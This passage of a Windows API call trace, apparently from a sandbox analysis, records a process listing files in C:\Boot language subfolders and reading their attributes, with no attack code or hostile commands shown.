	[0078.293] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.293] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.293] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.293] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758)) returned 1
	[0078.295] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.295] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0)) returned 1
	[0078.295] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.295] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.343] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.343] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.343] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.343] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.343] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.343] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.343] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.343] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.343] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1
	[0078.344] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.344] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.344] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.344] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.344] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.344] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.344] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.344] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.344] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.344] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160)) returned 1
	[0078.418] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.418] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.419] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.419] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.419] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.419] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.419] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.419] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.419] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.419] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.420] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.420] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.420] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58)) returned 1
	[0078.420] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.420] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0078.421] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.421] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.421] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.421] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e1c0
	[0078.421] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.421] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.421] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.421] FindNextFileW (in: hFindFile=0x1619f39e1c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.421] FindClose (in: hFindFile=0x1619f39e1c0 | out: hFindFile=0x1619f39e1c0) returned 1
	[0078.421] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.421] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0078.422] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.422] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0078.422] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.422] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.463] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.464] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
